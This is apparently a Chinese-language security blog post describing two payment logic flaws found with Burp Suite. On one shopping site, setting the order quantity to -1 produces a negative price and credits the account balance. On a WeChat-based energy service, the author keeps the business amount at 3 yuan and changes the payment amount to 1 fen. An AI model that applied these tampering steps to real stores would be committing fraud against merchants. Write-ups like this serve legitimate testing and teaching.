接下来开始刷钱~先来到首页随便选一个商品

2.png

选好最后点击立刻购买

3.png

然后burp抓包,把数量改成-1(-10,-100甚至-1000都可以~)

4.png

之后查看价格已经变成了-593

5.png

这时候把信息都填好以后点击提交

6.png

支付以后再返回会员中心查看一下余额已经变成了622.80~

7.png

7.2.2 某能源业 H5 服务支付逻辑漏洞

这是一个To-C的能源服务平台(类似设备租赁、充电服务)。该系统强制要求在微信浏览器内打开,直接复制链接到 Chrome 是打不开的,所以我依然使用Proxifier将微信 PC 端的流量代理到BurpSuite。

空白网页,需在特定环境下打开空白网页,需在特定环境下打开

在开挖之前,先熟悉业务逻辑。该系统的支付分为两种模式:会员预充值支付普通现结支付

对于会员预充值,我抓包看了一下。

图片充值接口请求包,修改 money 参数测试

有些老旧系统在这里会有漏洞,比如修改money参数的值。但我测试后发现,该系统在此处是安全的。如果你在前端把充值金额改为 1,系统确实会向微信支付发起 1 分钱(0.01)收款单。当支付 0.01 元成功后,微信支付的回调接口会告诉后端“该用户支付了 0.01 元”,后端就会给你账户充值 0.01 元,比例卡得很死。

无法在充值金额上做文章,我也尝试了修改“钱包 ID”去花别人的钱。

尝试修改钱包 ID 越权消费,响应失败尝试修改钱包 ID 越权消费,响应失败

系统提示“获取用户余额失败”,说明后端对Token和钱包 ID进行了二次身份校验,越权消费这条路走不通。

正当我以为该系统固若金汤时,我转去测试了普通现结支付功能。也就是“用多少,付多少”的模式。

fig:

现结支付请求包,包含物品 ID、窗口、消费金额、支付金额等多个参数

这个请求包非常有意思。它同时出现了两个与金额相关的参数:

  • XXMoney = 3 (代表本次服务应扣费的业务金额,3元)
  • money = 300 (代表实际拉起微信支付的金额,单位为分,即3元)
  • 直觉告诉我,这里存在开发逻辑的割裂。*

我使用手机配置了代理证书,连上同一局域网下的 BurpSuite,准备在拉起微信支付的前一刻进行数据包劫持。

逻辑漏洞

手机端代理配置界面

我保留XXMoney = 3不变(告诉业务系统我要买 3 块钱的服务),但将 money 修改为 1(告诉支付网关我只付 1 分钱)。

BurpSuite 拦截修改,将 money 改为 1BurpSuite 拦截修改,将 money 改为 1

放行数据包后,手机端成功拉起了微信支付的收银台,显示金额为 0.01 元

手机端微信支付界面,显示付款 0.01 元

手机端微信支付界面,显示付款 0.01 元

业务系统前端界面,显示预付金额 3 元业务系统前端界面,显示预付金额 3 元

标签: none

添加新评论

邮箱仅用于识别回复,不会在页面公开。提交后请等待页面确认结果。

文章图片预览